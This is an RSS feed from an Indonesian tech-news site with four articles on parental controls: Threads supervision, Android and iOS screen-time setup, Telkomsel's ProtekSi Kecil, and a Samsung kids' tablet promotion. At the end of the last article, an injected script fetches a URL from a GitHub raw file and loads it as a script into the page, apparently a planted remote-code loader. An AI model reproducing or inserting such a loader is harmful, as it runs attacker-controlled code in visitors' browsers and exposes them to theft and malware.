<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>parental control &#8211; NativZen</title>
	<atom:link href="https://nativzen.com/tag/parental-control/feed/" rel="self" type="application/rss+xml" />
	<link>https://nativzen.com</link>
	<description>Berita gadget dan teknologi terbaru</description>
	<lastBuildDate>Tue, 22 Sep 2026 03:45:06 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>

<image>
	<url>https://nativzen.com/wp-content/uploads/2025/02/cropped-NZ_icon_no_BG-32x32.png</url>
	<title>parental control &#8211; NativZen</title>
	<link>https://nativzen.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Threads Hadirkan Pengawasan Orang Tua di Asia Pasifik</title>
		<link>https://nativzen.com/2026/09/22/threads-hadirkan-pengawasan-orang-tua-di-asia-pasifik/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Tue, 22 Sep 2026 03:45:00 +0000</pubDate>
				<category><![CDATA[APPS]]></category>
		<category><![CDATA[aplikasi threads]]></category>
		<category><![CDATA[meta]]></category>
		<category><![CDATA[parental control]]></category>
		<category><![CDATA[pengawasan orang tua]]></category>
		<category><![CDATA[threads]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=31822</guid>

					<description><![CDATA[Kehadiran fitur tersebut menjadi bagian dari komitmen Meta dalam menyediakan perangkat pendukung bagi orang tua.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Meta memperluas fitur pengawasan orang tua ke platform Threads untuk pengguna di kawasan Asia Pasifik. Fitur ini dirancang untuk membantu orang tua dan wali memantau serta mengelola aktivitas remaja di Threads melalui Family Center.</p>



<p>Kehadiran fitur tersebut menjadi bagian dari komitmen Meta dalam menyediakan perangkat pendukung bagi orang tua untuk mendampingi remaja di berbagai aplikasi perusahaan, termasuk Threads.</p>



<p>Dengan penambahan ini, orang tua atau wali yang terhubung melalui Family Center dapat memperoleh akses untuk memantau dan mengontrol aktivitas remaja di Threads, serupa dengan kemampuan pengawasan yang tersedia di aplikasi Meta lainnya.</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-22T103628.076-1024x576.png" alt="" class="wp-image-31824" srcset="https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-22T103628.076-1024x576.png 1024w, https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-22T103628.076-300x169.png 300w, https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-22T103628.076-768x432.png 768w, https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-22T103628.076-370x208.png 370w, https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-22T103628.076-270x152.png 270w, https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-22T103628.076-570x321.png 570w, https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-22T103628.076-740x416.png 740w, https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-22T103628.076.png 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h4 class="wp-block-heading">Akun Remaja Threads Sudah Dilengkapi Perlindungan Bawaan</h4>



<p>Sebelum fitur pengawasan orang tua diperluas, Threads telah menyediakan sejumlah perlindungan otomatis melalui Akun Remaja. Perlindungan tersebut mencakup pengaturan akun privat dan pembatasan terhadap konten yang dapat dilihat oleh remaja.</p>



<p>Meta juga menyebutkan bahwa orang tua dapat menentukan apakah remaja berusia di bawah 16 tahun diperbolehkan mengubah pengaturan tertentu menjadi lebih longgar. Selain itu, orang tua akan memperoleh akses terhadap insight dan kontrol tambahan.</p>



<p>Langkah ini tentunya terbilang positif yang menempatkan pengawasan orang tua sebagai pelengkap perlindungan bawaan Akun Remaja, bukan sebagai pengganti fitur keamanan yang sudah tersedia di Threads.</p>



<h4 class="wp-block-heading">Cara Kerja Fitur Pengawasan Orang Tua di Threads</h4>



<p>Melalui Family Center, orang tua dan wali mendapatkan sejumlah tool untuk memahami aktivitas remaja sekaligus mengelola akses mereka di Threads. Berikut lima kemampuan utama dari fitur pengawasan orang tua yang diperluas oleh Meta.</p>



<p><strong>1. Melihat Waktu yang Dihabiskan di Threads</strong></p>



<p>Orang tua dapat melihat berapa lama remaja menggunakan Threads setiap hari selama satu minggu terakhir. Informasi yang ditampilkan juga mencakup rata-rata waktu harian yang dihabiskan selama periode tersebut. </p>



<p>Dengan demikian, orang tua dapat memperoleh gambaran secara langsung mengenai pola penggunaan Threads yang dilakukan oleh remaja tanpa hanya mengandalkan perkiraan durasi penggunaan.</p>



<p><strong>2. Menetapkan Batas Waktu Penggunaan Harian</strong></p>



<p>Fitur pengawasan orang tua Threads memungkinkan orang tua menentukan durasi penggunaan platform setiap hari. Selain menetapkan batas waktu, orang tua juga dapat memblokir akses Threads pada hari dan jam tertentu. </p>



<p>Jika remaja menggunakan Threads di beberapa perangkat, batas waktu tersebut berlaku terhadap total waktu penggunaan Threads, bukan secara terpisah pada setiap perangkat. Kemampuan ini memberi orang tua opsi untuk mengatur durasi akses secara lebih terstruktur sesuai kebutuhan.</p>



<p><strong>3. Menyesuaikan Mode Tidur</strong></p>



<p>Threads turut menyediakan pengaturan mode tidur yang memungkinkan orang tua membatasi atau memblokir akses remaja pada malam hari. Notifikasi bisa dinonaktifkan dan balasan otomatis diaktifkan secara default pada rentang waktu pukul 22.00 hingga 07.00. </p>



<p>Pengaturan tersebut ditujukan untuk membantu membatasi aktivitas Threads pada malam hari. Dengan begitu, penggunaan Threads pada remaja bisa terkontrol secara maksimal, sehingga tidur pun bisa lebih nyenyak. </p>



<p><strong>4. Mengelola Pengaturan Tagging</strong></p>



<p>Orang tua dapat mengatur siapa saja yang diperbolehkan menandai atau melakukan tagging terhadap akun remaja dalam postingan. Kontrol ini memberikan opsi tambahan untuk mengelola interaksi yang melibatkan akun remaja.</p>



<p><strong>5. Mengelola Privasi dan Preferensi Konten</strong></p>



<p>Fitur pengawasan orang tua juga mencakup kemampuan untuk mengelola serta menyetujui sejumlah pengaturan privasi dan preferensi konten sensitif bagi remaja. Melalui pengaturan ini, orang tua dapat terlibat dalam pengelolaan aspek privasi dan pengalaman konten remaja di Threads.</p>



<p>Cara Mengaktifkan Pengawasan Orang Tua di Threads</p>



<p>Bagi orang tua atau wali yang ingin mengaktifkan fitur pengawasan di Threads, Meta menyediakan akses melalui Family Center.</p>



<p>Langkah awal yang diarahkan dalam siaran pers:</p>



<ol>
<li>Kunjungi <code><a href="http://familycenter.meta.com/supervision">familycenter.meta.com/supervision</a></code>.</li>



<li>Akses fitur pengawasan melalui Family Center.</li>



<li>Gunakan tool dan insight yang tersedia untuk mengelola aktivitas remaja di Threads.</li>
</ol>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-22T103745.831-1024x576.png" alt="" class="wp-image-31823" srcset="https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-22T103745.831-1024x576.png 1024w, https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-22T103745.831-300x169.png 300w, https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-22T103745.831-768x432.png 768w, https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-22T103745.831-370x208.png 370w, https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-22T103745.831-270x152.png 270w, https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-22T103745.831-570x321.png 570w, https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-22T103745.831-740x416.png 740w, https://nativzen.com/wp-content/uploads/2026/09/Copy-of-Untitled-2026-09-22T103745.831.png 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h4 class="wp-block-heading">Pengawasan Digital Menjadi Bagian dari Pengalaman Remaja di Threads</h4>



<p>Kehadiran fitur pengawasan orang tua di Threads memperluas ekosistem kontrol keluarga Meta ke platform berbasis percakapan tersebut. Orang tua dapat mengakses informasi penggunaan, menetapkan pembatasan waktu, mengatur mode tidur, serta mengelola aspek privasi dan interaksi akun remaja.</p>



<p>Meta juga menyampaikan bahwa perusahaan akan terus mengembangkan tool pengawasan agar orang tua lebih mudah menemukan pengaturan, memperoleh insight yang bermanfaat, dan mendukung pengalaman remaja di seluruh aplikasi Meta dalam satu tempat.</p>



<p>Dengan peluncuran fitur pengawasan orang tua yang diperluas di kawasan Asia Pasifik ini, Threads menambahkan kemampuan pengawasan keluarga yang dapat digunakan sebagai pendamping perlindungan bawaan Akun Remaja.</p>



<p>Implementasi fitur tersebut juga sekaligus memberikan orang tua lebih banyak pilihan untuk mengatur pengalaman penggunaan Threads bagi remaja di keluarga mereka. Dengan begitu, keamanan remaja di dunia maya bisa lebih terpantau.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Tips Cegah Paparan Konten Negatif di Gadget Anak, Gunakan Fitur Ini!</title>
		<link>https://nativzen.com/2025/09/11/tips-cegah-paparan-konten-negatif-di-gadget-anak-gunakan-fitur-ini/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Thu, 11 Sep 2025 05:07:25 +0000</pubDate>
				<category><![CDATA[HOW TO]]></category>
		<category><![CDATA[gadget anak]]></category>
		<category><![CDATA[parental control]]></category>
		<category><![CDATA[tips]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=22327</guid>

					<description><![CDATA[Orangtua tetap perlu waspada karena penggunaan gadget tanpa pengawasan bisa berdampak negatif.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Di era digital saat ini, anak-anak semakin akrab dengan gadget sejak usia dini. Smartphone, tablet, maupun laptop sering digunakan untuk belajar, bermain game, hingga menonton video.</p>



<p>Meski teknologi memberi manfaat besar, orangtua tetap perlu waspada karena penggunaan gadget tanpa pengawasan bisa berdampak negatif, seperti kecanduan, terpapar konten berbahaya, atau interaksi dengan orang asing di internet.</p>



<p>Salah satu solusi yang bisa diterapkan adalah fitur Parental Control. Fitur tersebut membantu orangtua membatasi dan memantau aktivitas anak saat bermain gadget. Berikut ini cara menggunakan fitur parental control di beberapa perangkat (Android dan iOS).</p>



<figure class="wp-block-image size-full"><img decoding="async" width="740" height="416" src="https://nativzen.com/wp-content/uploads/2025/09/Ilustrasi-Freepik.png" alt="" class="wp-image-22329" srcset="https://nativzen.com/wp-content/uploads/2025/09/Ilustrasi-Freepik.png 740w, https://nativzen.com/wp-content/uploads/2025/09/Ilustrasi-Freepik-300x169.png 300w, https://nativzen.com/wp-content/uploads/2025/09/Ilustrasi-Freepik-370x208.png 370w, https://nativzen.com/wp-content/uploads/2025/09/Ilustrasi-Freepik-270x152.png 270w, https://nativzen.com/wp-content/uploads/2025/09/Ilustrasi-Freepik-570x320.png 570w" sizes="(max-width: 740px) 100vw, 740px" /></figure>



<h3 class="wp-block-heading">Parental Control di Android</h3>



<p>Android menyediakan fitur bawaan melalui Google Family Link. Untuk menggunakannya, kamu dapat mengunduh aplikasi Google Family Link di smartphone orangtua dan anak. Buat akun Google khusus untuk anak (jika belum ada), lalu hubungkan akun anak ke aplikasi Family Link. </p>



<p>Selanjutnya, atur batasan seperti aplikasi yang bisa diunduh, waktu layar (screen time), serta filter konten di Google Play. Sebagai tambahan, orang tua juga dapat mengaktifkan fitur SafeSearch di Google agar pencarian lebih aman.</p>



<h3 class="wp-block-heading">Parental Control di iPhone/iPad (iOS)</h3>



<p>Apple memiliki fitur bawaan bernama Screen Time. Untuk memanfaatkan fitur ini, orang tua dapat membuka Settings > Screen Time. Lalu pilih &#8220;Nyalakan Durasi Layar&#8221; (Turn On Screen Time) kemudian tekan &#8220;Lanjutkan&#8221; (Continue). Pilih opsi &#8220;Ini adalah iPhone/iPad saya&#8221; atau &#8220;Ini milik anak saya&#8221; sesuai kondisi. </p>



<p>Untuk mengatur batasan penggunaan gadget anak, gunakan fitur-fitur seperti:</p>



<ul>
<li>Downtime untuk menjadwalkan waktu tertentu gadget tidak bisa digunakan kecuali aplikasi yang diizinkan.</li>



<li>App Limits untuk membatasi waktu penggunaan aplikasi tertentu atau kategori aplikasi.</li>



<li>Content &amp; Privacy Restrictions untuk membatasi akses ke konten tertentu, pembelian, dan pengaturan privasi.</li>
</ul>



<p>Orang tua juga dapat mengatur kode sandi Screen Time agar anak-anak tidak bisa mengubah<br>pengaturan tanpa izin. Demikian tips untuk mengamankan sang buah hati dari paparan konten negatif yang bisa saja muncul melalui gadget. </p>



<p>Dengan memanfaatkan fitur parental control di setiap platform, setidaknya hal ini bisa meminimalisir akses anak terhadap konten berbahaya. Parental control adalah alat penting bagi orangtua untuk melindungi anak dari dampak negatif gadget.</p>



<p>Tak hanya itu, fitur ini sekaligus membantu mereka belajar menggunakan teknologi dengan bijak. Tidak hanya antisipasi dari sisi teknologi, komunikasi yang baik kepada anak juga diharapkan dapat mengoptimalkan pencegahan terhadap konten negatif.</p>



<p>Dengan kombinasi antara teknologi yang terus berkembang dan komunikasi yang lebih baik, anak-anak tentunya akan lebih bisa tetap menikmati manfaat gadget tanpa mengorbankan kesehatan fisik maupun mentalnya. </p>



<p><strong><em>Penulis: Ahmad Luthfi</em></strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Telkomsel Luncurkan &#8220;ProtekSi Kecil&#8221;, Apa Kegunaannya?</title>
		<link>https://nativzen.com/2025/01/17/telkomsel-luncurkan-proteksi-kecil-apa-kegunaannya/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Fri, 17 Jan 2025 00:52:15 +0000</pubDate>
				<category><![CDATA[APPS]]></category>
		<category><![CDATA[parental control]]></category>
		<category><![CDATA[proteksi kecil]]></category>
		<category><![CDATA[telkomsel]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=15466</guid>

					<description><![CDATA[Pelanggan dapat memperoleh ProtekSi Kecil di MyTelkomsel dengan harga terjangkau, yakni hanya Rp 15 ribu per bulan.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Telkomsel resmi meluncurkan ProtekSi Kecil. Dengan ProtekSi Kecil, orang tua dapat dengan mudah menyaring konten berbahaya, membatasi waktu penggunaan internet, serta menerima laporan aktivitas daring anak secara berkala.</p>



<p>“Telkomsel menyadari teknologi digital akan membantu di berbagai aspek kehidupan namun tentunya harus ada penggunaan yang bertanggung jawab bagi anak-anak,&#8221; ujar VP Technology Strategy and Consumer Product Development Telkomsel, Ronald Limoa.</p>



<p>Ditambahkan oleh Ronald bahwa Telkomsel hadir dengan ProtekSi Kecil yang memungkinkan orang tua melindungi anak dari paparan konten negatif sekaligus menciptakan pengalaman digital yang aman dan sehat.</p>



<p>Pelanggan dapat memperoleh ProtekSi Kecil di MyTelkomsel dengan harga terjangkau, yakni hanya Rp 15 ribu per bulan, sudah termasuk kuota internet 500 MB untuk mengelola hingga dua perangkat sekaligus. </p>



<p>Dirancang untuk memberikan perlindungan maksimal dengan tetap mempertimbangkan kenyamanan pengguna, ProtekSi Kecil menawarkan sejumlah fitur unggulan, seperti:</p>



<ol>
<li><strong>Penyaringan Konten Berbahaya</strong> – ProtekSi Kecil memblokir akses ke situs yang terindikasi berbahaya atau tidak sehat berdasarkan kategori yang dipilih oleh orang tua.</li>



<li><strong>Pengaturan Waktu Internet</strong> – Orang tua dapat mengatur waktu penggunaan internet untuk anak melalui aplikasi MyTelkomsel.</li>



<li><strong>Laporan Aktivitas Internet </strong>– Menyediakan laporan terkait situs terblokir yang diakses anak.</li>
</ol>



<p>Setelah melakukan pembelian, pelanggan dapat mengakses layanan melalui menu aplikasi atau tautan pada SMS yang diterima. Kehadiran ProtekSi Kecil juga merupakan wujud nyata komitmen Telkomsel dalam menghadirkan inovasi digital yang memberdayakan. </p>



<p>&#8220;Ke depan, kami berharap layanan ProtekSi Kecil ini dapat mendukung tumbuh kembang anak-anak Indonesia untuk hari yang lebih baik dan masa depan gemilang,. Selain itu, juga untuk lebih mendekatkan anak dengan orang tua” tambah Ronald.</p>



<p>Berdasarkan survei Telkomsel terhadap 1.000 responden melalui tSurvey.id, sebanyak 86% orang tua menyatakan berminat menggunakan layanan parental control. 55% di antaranya menyatakan sangat membutuhkan layanan parental control yang terjangkau.</p>



<p>Tak hanya itu, para orang tua tersebut juga membutuhkan layanan parental control yang memiliki fitur-fitur penting seperti pemblokiran konten negatif, pembatasan waktu akses, dan laporan aktivitas. </p>



<p>&#8220;Tentu  saja, temuan atau survei ini menunjukkan mendesaknya kebutuhan akan solusi seperti ProtekSi Kecil bagi para orang tua, terutama di tengah potensi paparan konten berbahaya bagi anak-anaknya di internet,&#8221; pungkas Ronald.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Parents, Yuk Simak Tips Penggunaan Gadget dari Psikolog</title>
		<link>https://nativzen.com/2023/12/23/parents-yuk-simak-tips-penggunaan-gadget-dari-psikolog/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Sat, 23 Dec 2023 08:20:37 +0000</pubDate>
				<category><![CDATA[Gadget]]></category>
		<category><![CDATA[TREN & LIFESTYLE]]></category>
		<category><![CDATA[galaxy tab a9+ kids edition]]></category>
		<category><![CDATA[harga galaxy tab a9+ kids edition]]></category>
		<category><![CDATA[parental control]]></category>
		<category><![CDATA[samsung]]></category>
		<category><![CDATA[tips gadget]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=2076</guid>

					<description><![CDATA[Apa saja tips yang bisa dilakukan oleh para orang tua di rumah untuk mengatur penggunaan gadget pada anak?]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Jika penggunaannya diserta batasan waktu yang jelas, dimonitor dengan tepat, serta diperkaya dengan aplikasi atau video dan permainan yang edukatif, tentu saja gadget dapat memberikan dampak baik bagi anak-anak.</p>



<p>Pedoman Organisasi Kesehatan Dunia (WHO) menyatakan bahwa anak berusia 1 tahun ke bawah tidak dianjurkan untuk menggunakan gadget. Disarankan, anak-anak berusia 1 tahun untuk bergerak aktif beberapa kali sehari disertai dengan interaksi yang interaktif.</p>



<p>Sementara, untuk anak berusia 2-4 tahun sudah bisa menikmati penggunaan gadget, namun tidak lebih dari 1 jam per hari. Selain itu, anak-anak tersebut juga wajib disertai dengan aktivitas fisik paling tidak 2 jam perhari, atau lebih banyak, itu akan lebih baik.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2023/12/Galaxy-Tab-A9-Kids-Edition-Package-1024x576.jpg" alt="" class="wp-image-2078" srcset="https://nativzen.com/wp-content/uploads/2023/12/Galaxy-Tab-A9-Kids-Edition-Package-1024x576.jpg 1024w, https://nativzen.com/wp-content/uploads/2023/12/Galaxy-Tab-A9-Kids-Edition-Package-300x169.jpg 300w, https://nativzen.com/wp-content/uploads/2023/12/Galaxy-Tab-A9-Kids-Edition-Package-768x432.jpg 768w, https://nativzen.com/wp-content/uploads/2023/12/Galaxy-Tab-A9-Kids-Edition-Package-1536x864.jpg 1536w, https://nativzen.com/wp-content/uploads/2023/12/Galaxy-Tab-A9-Kids-Edition-Package-2048x1153.jpg 2048w, https://nativzen.com/wp-content/uploads/2023/12/Galaxy-Tab-A9-Kids-Edition-Package-370x208.jpg 370w, https://nativzen.com/wp-content/uploads/2023/12/Galaxy-Tab-A9-Kids-Edition-Package-270x152.jpg 270w, https://nativzen.com/wp-content/uploads/2023/12/Galaxy-Tab-A9-Kids-Edition-Package-570x321.jpg 570w, https://nativzen.com/wp-content/uploads/2023/12/Galaxy-Tab-A9-Kids-Edition-Package-740x416.jpg 740w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Seperti dikatakan Putu Andani, M.Psi., Psikolog bahwa di luar usia 2-4 tahun, screen time dapat disesuaikan dengan kebutuhan anak, namun kegiatan fisik serta interaksi dua arah lebih utama. Selain itu, penerapan aturan penggunaan juga perlu dilakukan secara konsisten.</p>



<p>Hal ini pun diamini oleh Annisa Maulina, MX Product Marketing Senior Manager, Samsung Electronics Indonesia. Dia mengatakan bahwa dengan kecanggihan gadget saat ini, orang tua kini memiliki kemudahan untuk mengendalikan penggunaan gadget pada anak.</p>



<p>&#8220;Perangkat terkini seperti Galaxy Tab A9+ Kids Edition, sudah dilengkapi puffy case dan crayon stylus. Selain itu, dengan pengaturan screen time dan menerapkan parental control dalam Samsung Kids, orang tua dapat menyokong pembelajaran kreatif anak,&#8221; kata Annisa. </p>



<p>Lantas, apa saja tips yang bisa dilakukan oleh para orang tua di rumah untuk mengatur penggunaan gadget pada anak? Berikut ini tips praktis dari psikolog Putu Andani:</p>



<h3 class="wp-block-heading">Ciptakan Zona Bebas Gadget di Rumah</h3>



<p>Orang tua dapat memberikan sosialisasi aturan yang jelas mengenai zona bebas gadget. Sebagai contoh, semua gadget disimpan di keranjang ketika makan bersama di meja makan atau ketika sedang berada di kamar tidur. </p>



<p>Aturan tersebut bukan hanya berfungsi untuk mengurangi durasi screen time melainkan juga dapat memicu terciptanya lebih banyak interaksi antar anggota keluarga. Ketika lebih banyak kegiatan dilakukan di ruang keluarga, anak juga menjadi lebih aktif berinteraksi.</p>



<h3 class="wp-block-heading">Edukasi Pentingnya Kegiatan Fisik</h3>



<p>Seringkali, karena fokus orangtua adalah pada bahaya dari penggunaan screen time berlebih, edukasi kepada anak lebih banyak ditekankan pada dampak buruk dari penggunaan screen time berlebih dan batasan durasi penggunaannya. </p>



<p>Ada baiknya, orangtua juga memberikan edukasi mengenai kegiatan fisik yang dapat dilakukan oleh anak. Cara ini dapat membantu anak dan orangtua untuk fokus bukan hanya kepada apa yang tidak boleh dilakukan namun apa yang dapat kita lakukan bersama.</p>



<h3 class="wp-block-heading">Sediakan Beragam Pilihan Aktivitas</h3>



<p>Aktivitas yang menyenangkan serta teman berinteraksi yang seru menjadi kunci dari minat anak usia dini terhadap berbagai hal di sekitarnya. Bermain sepeda, otopet, board games, serta permainan sensorial (usia &lt; 3 tahun) merupakan beberapa contoh &#8220;non-gadget activities&#8221; yang bisa dilakukan di rumah. </p>



<p>Tentu saja, ketika orangtua sudah kewalahan dan anak juga terlihat membutuhkan waktu rehat, gadget dapat menjadi alternatif selingan kegiatan fisik. Satu hal yang harus diperhatikan, digunakan sesuai batasan waktu yang telah ditentukan pada rentang usia anak.</p>



<h3 class="wp-block-heading">Screen Time Sebagai Reward</h3>



<p>Bukan untuk digunakan setiap saat, screen time justru dapat digunakan sebagai reward yang akan memotivasi anak. Misalnya, untuk anak-anak di usia sekolah dasar, screen time dapat mereka peroleh ketika sudah selesai mengerjakan PR atau tugas rumah. </p>



<p>Untuk anak usia dini, screen time dapat diberikan sesuai batasan waktu (cek aturan WHO) setelah melakukan self-care routine, seperti menyikat gigi atau mandi. Itu contoh untuk membantu orangtua mengimplementasikan aturan penggunaan screen time di rumah.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="641" src="https://nativzen.com/wp-content/uploads/2023/12/Parental-Control-1024x641.jpg" alt="" class="wp-image-2077" srcset="https://nativzen.com/wp-content/uploads/2023/12/Parental-Control-1024x641.jpg 1024w, https://nativzen.com/wp-content/uploads/2023/12/Parental-Control-300x188.jpg 300w, https://nativzen.com/wp-content/uploads/2023/12/Parental-Control-768x481.jpg 768w, https://nativzen.com/wp-content/uploads/2023/12/Parental-Control-1536x962.jpg 1536w, https://nativzen.com/wp-content/uploads/2023/12/Parental-Control-2048x1283.jpg 2048w, https://nativzen.com/wp-content/uploads/2023/12/Parental-Control-370x232.jpg 370w, https://nativzen.com/wp-content/uploads/2023/12/Parental-Control-270x169.jpg 270w, https://nativzen.com/wp-content/uploads/2023/12/Parental-Control-570x357.jpg 570w, https://nativzen.com/wp-content/uploads/2023/12/Parental-Control-740x463.jpg 740w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Pada Galaxy Tab A9 Series, pengaturan screen time dapat dilakukan melalui Samsung Kids:</p>



<ol>
<li>Buka Samsung Kids, tap gambar tiga titik vertikal.</li>



<li>Tap Parental controls, masukkan PIN</li>



<li>Pilih screen time dan atur jadwal dan goal screen time yang diinginkan</li>
</ol>



<h3 class="wp-block-heading">Ketika Gadget Jadi Alternatif, Perbanyak Edutainment</h3>



<p>Ketika orang tua memberikan gadget sebagai alternatif selingan kegiatan fisik, adalah bijak memberikan gadget dengan &#8220;edutainment&#8221; pada anak. Karena itu, anak-anak bisa bermain, mengasah kreativitas dan kemampuan mereka memecahkan masalah dan berpikir kritis.</p>



<p>Sebagai komitmennya terhadap kehidupan digital anak yang sehat, Samsung telah merancang Galaxy Tab A9+ Kids Edition. Ini adalah tablet terbaru dari Samsung dengan edisi khusus anak, yang sudah built-in dengan platform edutainment Samsung Kids. </p>



<p>Di Samsung Kids anak dapat melakukan misi dan mempelajari pemecahan masalah dan kemampuan berpikir kritis dengan permainan block coding bersama si Crocro. Anak bisa belajar memasak dengan Si Cooki, bernyanyi dan menari dengan band musik si Lisa. </p>



<p>Tak hanya itu, anak-anak dengan Galaxy Tab A9+ Kids Edition juga bisa mengasah kreativitas artistiknya di kanvas si Bobby mengguna crayon stylus dengan bentuk seperti pensil crayon berwarna biru. Tablet ini juga diproteksi dengan puffy case untuk melindungi dari benturan.</p>



<h3 class="wp-block-heading">Kembangkan Interaksi Orang Tua dan Anak</h3>



<p>Interaksi antara orang tua dan anak memainkan peranan yang penting dalam perkembangan anak secara kognitif, akademik, sosial, dan emosional. Interaksi orang tua dan anak yang positif sejak dini akan berdampak pada perkembangan otak anak.</p>



<p>Interaksi seperti itu juga bakal mengembangkan keterikatan yang kuat dan positif, dan secara signifikan membuat anak lebih siap mencapai prestasi di sekolah. Ketika anak menggunakan gadget, orang tua bisa menjaga interaksi dengan mendampingi mereka menggunakan perangkat digitalnya. </p>



<p>Di Galaxy Tab A9+ Kids Edition, orang tua bisa menggunakan tablet ini bersama anak melalui fitur multi-window. Dengan layar 11 inci, tablet ini masih bisa menampilkan lebih dari satu layar yang cukup luas dan nyaman di mata. </p>



<p>Misalnya, sambil menemani anak browsing tugas sekolah, orangtua bisa mendengarkan musik. Aktifkan fungsi parental control, dan tekankan bahwa itu bukan pembatasan melainkan sebagai bentuk kasih sayang untuk melindungi anak dari konten-konten berbahaya. </p>



<h3 class="wp-block-heading">Harga Galaxy Tab A9+ Kids Edition</h3>



<p>Dengan fitur-fiturnya yang #MakinMantab untuk keamanan anak, Galaxy Tab A9+ Kids Edition layak untuk jadi tablet pertama si kecil. Tablet ini sudah bisa didapatkan dengan penawaran<br>menarik berupa harga promosi Rp4.999.000. </p>



<p>Jika membutuhkan dimensi tablet yang lebih compact, tersedia pula Galaxy Tab A9 Kids Edition dengan harga yang lebih terjangkau, yakni Rp3.299.000. Pembelian Galaxy Tab A9 Kids Edition dapat dilakukan di <a href="http://Samsung.com/id">Samsung.com/id</a> dan Shopee, </p>



<p>Sementara, bagi para orang tua yang menginginkan Galaxy Tab A9+ Kids Edition, tablet ini juga dapat diperoleh di <a href="http://Samsung.com/id">Samsung.com/id</a>, Samsung Store by NASA, Erafone, Urban Republic, dan eraspace.com. Ya! Galaxy Tab A9+ Kids Edition cocok untuk hadiah si kecil di akhir tahun.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
